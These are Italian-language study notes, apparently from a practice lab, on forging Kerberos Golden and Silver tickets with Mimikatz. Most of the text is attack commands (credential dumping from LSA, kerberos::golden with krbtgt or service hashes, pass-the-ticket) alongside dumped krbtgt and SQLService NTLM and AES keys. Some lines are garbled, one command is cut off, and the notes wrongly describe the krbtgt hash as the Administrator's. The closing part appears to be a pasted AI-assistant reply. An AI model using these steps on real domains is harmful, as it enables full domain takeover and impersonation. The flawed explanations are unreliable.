tags: active_directory Active_Directory_Priv_Esc Golden_Ticket
Tramite Mimikatz possiamo generare dei tiket sia di tipo Silver che di tipo Gold, con i ticket silver puoi prendere i privilegi di un determinato servizio, mentre con il ticket gold puoi entrare dove ti pare perchè sei un VIP.
Per prima cosa avviamo Mimikatz e il seguente comando:
mimikatz.exe
privilege::debug
Privilage '20' OK #output necessario per proseguire l'attacco
Dopo aver verificato questa opzione possiamo eseguire i seguenti comandi.
Golden Ticket
Per prima cosa usiamo il seguente comando per ottenere tutte le informazioni necessarie per creare il ticket:
mimikatz: lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-432953485-3795405108-1502158860
RID : 000001f6 (502)
User : krbtgt
* Primary
NTLM : 72cd714611b64cd4d5550cd2759db3f6
LM :
Hash NTLM: 72cd714611b64cd4d5550cd2759db3f6
ntlm- 0: 72cd714611b64cd4d5550cd2759db3f6
lm - 0: aec7e106ddd23b3928f7b530f60df4b6
* WDigest
01 d2e9aa3caa4509c3f11521c70539e4ad
02 c9a868fc195308b03d72daa4a5a4ee47
03 171e066e448391c934d0681986f09ff4
04 d2e9aa3caa4509c3f11521c70539e4ad
05 c9a868fc195308b03d72daa4a5a4ee47
06 41903264777c4392345816b7ecbf0885
07 d2e9aa3caa4509c3f11521c70539e4ad
08 9a01474aa116953e6db452bb5cd7dc49
09 a8e9a6a41c9a6bf658094206b51a4ead
10 8720ff9de506f647ad30f6967b8fe61e
11 841061e45fdc428e3f10f69ec46a9c6d
12 a8e9a6a41c9a6bf658094206b51a4ead
13 89d0db1c4f5d63ef4bacca5369f79a55
14 841061e45fdc428e3f10f69ec46a9c6d
15 a02ffdef87fc2a3969554c3f5465042a
16 4ce3ef8eb619a101919eee6cc0f22060
17 a7c3387ac2f0d6c6a37ee34aecf8e47e
18 085f371533fc3860fdbf0c44148ae730
19 265525114c2c3581340ddb00e018683b
20 f5708f35889eee51a5fa0fb4ef337a9b
21 bffaf3c4eba18fd4c845965b64fca8e2
22 bffaf3c4eba18fd4c845965b64fca8e2
23 3c10f0ae74f162c4b81bf2a463a344aa
24 96141c5119871bfb2a29c7ea7f0facef
25 f9e06fa832311bd00a07323980819074
26 99d1dd6629056af22d1aea639398825b
27 919f61b2c84eb1ff8d49ddc7871ab9e0
28 d5c266414ac9496e0e66ddcac2cbcc3b
29 aae5e850f950ef83a371abda478e05db
* Kerberos
Default Salt : CONTROLLER.LOCALkrbtgt
Credentials
des_cbc_md5 : 79bf07137a8a6b8f
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : dfb518984a8965ca7504d6d5fb1cbab56d444c58ddff6c193b64fe6b6acf1033
aes128_hmac (4096) : 88cc87377b02a885b84fe7050f336d9b
des_cbc_md5 (4096) : 79bf07137a8a6b8f
* NTLM-Strong-NTOWF
Random Value : 4b9102d709aada4d56a27b6c3cd14223Ora che abbiamo dumpato queste informazioni le possiamo usare nel seguente modo:
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500-
kerberos::Dopo questa flag inseriscigoldensia per i ticket gold che per quelli silver -
/user:Dopo questa flag inserisci l’utente che vuoi impersonificare -
/domain:Inserisci il dominio della rete -
/sid:Inserisci il SID che in genere è il primo output del comando -
/krbtgt:Dopo questa flag inserire l’hash dell’utente Administrator -
/id:— RID dell’utente (500 per Administrator).
Puoi anche usare la chiave aes al posto di quella krbtgt che è più moderna, come nel seguente comando:
mimikatz kerberos::golden /user:Administrator /id:500 /domain:CONTROLLER.LOCAL /sid:S-1-5-21-432953485-3795405108-1502158860 /aes256:dfb518984a8965ca7504d6d5fb1cbab56d444c58ddff6c193b64fe6b6acf1033 /groups:513,512,520,518,519 /ptt
Se preferisci AES128, sostituisci /aes256: con /aes128: e l’hash corrispondente.
Silver
Per vedere tutti gli utenti e i servizi nella rete possiamo usare il seguente comando:
lsadump::lsa /inject /name:Se per esempio troviamo un servizio SQL come nel seguente esempio:
RID : 00000455 (1109)
User : SQLService
* Primary
NTLM : cd40c9ed96265531b21fc5b1dafcfb0a
LM :
Hash NTLM: cd40c9ed96265531b21fc5b1dafcfb0a
ntlm- 0: cd40c9ed96265531b21fc5b1dafcfb0a
lm - 0: 7bb53f77cde2f49c17190f7a071bd3a0
* WDigest
01 ba42b3f2ef362e231faca14b6dea61ef
02 00a0374f4ac4bce4adda196e458dd8b8
03 f39d8d3e34a4e2eac8f6d4b62fe52d06
04 ba42b3f2ef362e231faca14b6dea61ef
05 98c65218e4b7b8166943191cd8c35c23
06 6eccb56cda1444e3909322305ed04b37
07 25b7998ce2e7b826a576a43f89702921
08 8609a1da5628a4016d32f9eb73314fa0
09 277f84c6c59728fb963a6ee1a3b27f0d
10 63a9f69e8b36c3e0612ec8784b9c7599
11 47cb5c436807396994f1b9ccc8d2f8e1
12 46f2c402d8731ed6dca07f5dbc71a604
13 2990e284070a014e54c749a6f96f9be7
14 c059f85b7f01744dc0a2a013978a965f
15 3600c835f3e81858a77e74370e047e29
16 bd9c013f8a3f743f8a5b553e8a275a88
17 c1d94e24d26fdaad4d6db039058c292e
18 1a433c0634b50c567bac222be4eac871
19 78d7a7573e4af2b8649b0280cd75636d
20 136ddfa7840610480a76777f3be007e0
21 7a4a266a64910bb3e5651994ba6d7fb4
22 a75ec46a7a473e90da499c599bc3d3cb
23 8d3db50354c0744094334562adf74c2a
24 7d07406132d671f73a139ff89da5d72e
25 dd1e02d5c5b8ae969d903a0bc63d9191
26 27da7fc766901eac79eba1a970ceb7da
27 09333600bcc68ee149f449321a5efb27
28 1c550f8b3af2eb4efda5c34aa8a1c549
29 3cd9326a300d2261451d1504832cb062
* Kerberos
Default Salt : CONTROLLER.LOCALSQLService
Credentials
des_cbc_md5 : 5d5dae0dc10e7aec
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALSQLService
Default Iterations : 4096
Credentials
aes256_hmac (4096) : a3a6dbd4d6fa895b600c28bfdaf6b52d59d46a6eb1f455bc08a19b7e8cdab76d
aes128_hmac (4096) : 629b46af543142f77cabcf14afb1caea
des_cbc_md5 (4096) : 5d5dae0dc10e7aec
* NTLM-Strong-NTOWF
Random Value : 7e9547ab69f52e42450903ebbe6ad6ec
Possiamo usare il seguente comando per impersonificarlo:
mimikatz kerberos::golden /user:Administrator /id:500 /domain:CONTROLLER.LOCAL /sid:S-1-5-21-432953485-3795405108-1502158860 /rc4:cd40c9ed96265531b21fc5b1dafcfb0a /service:MSSQLSvc /target:sqlserver.controller.local /ptt-
/user:Administrator— l’utente che vuoi impersonare. -
/id:500— RID (facoltativo, 500 è Administrator). -
/domaine/sid— obbligatori per creare il ticket coerente. -
/rc4:<hash>— l’NTLM hash del servizio (SQLService) usato come chiave per cifrare il TGS. -
/service:MSSQLSvc— classe SPN (puoi usare anchemssqlsvcin minuscolo, Mimikatz la gestisce). -
/target:sqlserver.controller.local— FQDN del server che ospita SQL (modificalo col nome reale della tua VM/bersaglio). -
/ptt— injecta il ticket nella sessione corrente (pass-the-ticket); in alternativa usa/ticket:c:\path\to\ticket.kirbiper salvarlo.
Nota: se la tua istanza SQL usa un porto specifico nell’SPN (es.
MSSQLSvc/sqlserver.controller.local:1433) può essere utile includere il porto nel target/SPN, ma spessoMSSQLSvc+ FQDN è sufficiente.
Oppure se vogliamo usare la chiave aes il seguente comando:
mimikatz kerberos::golden /user:Administrator /id:500 /domain:CONTROLLER.LOCAL /sid:S-1-5-21-432953485-3795405108-1502158860 /aes256:a3a6dbd4d6fa895b600c28bfdaf6b52d59d46a6eb1f455bc08a19b7e8cdab76d /service:MSSQLSvc /target:sqlserver.controller.local /pttCome ho dedotto il Dominio (CONTROLLER.LOCAL)?
Ho dedotto il nome del dominio direttamente dal dump che hai fornito. Nello specifico, l’informazione si trova ripetutamente nelle sezioni relative a Kerberos.
Se guardi una qualsiasi delle voci per gli utenti o i computer, vedrai una riga come questa:
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALkrbtgt
o
* Kerberos-Newer-Keys
Default Salt : CONTROLLER.LOCALSQLService
Spiegazione:
-
Il “Salt” in crittografia è un dato casuale che viene aggiunto a una password prima di calcolarne l’hash. Questo serve a prevenire attacchi basati su tabelle precalcolate (rainbow tables).
-
Nel protocollo Kerberos di Windows, il “salt” predefinito per generare le chiavi crittografiche di un account è composto dal nome del dominio (in maiuscolo) e dal nome dell’utente (o del servizio/computer).
Quindi, la stringa CONTROLLER.LOCALSQLService ci dice chiaramente che:
-
Il dominio è
CONTROLLER.LOCAL -
L’utente/servizio è
SQLService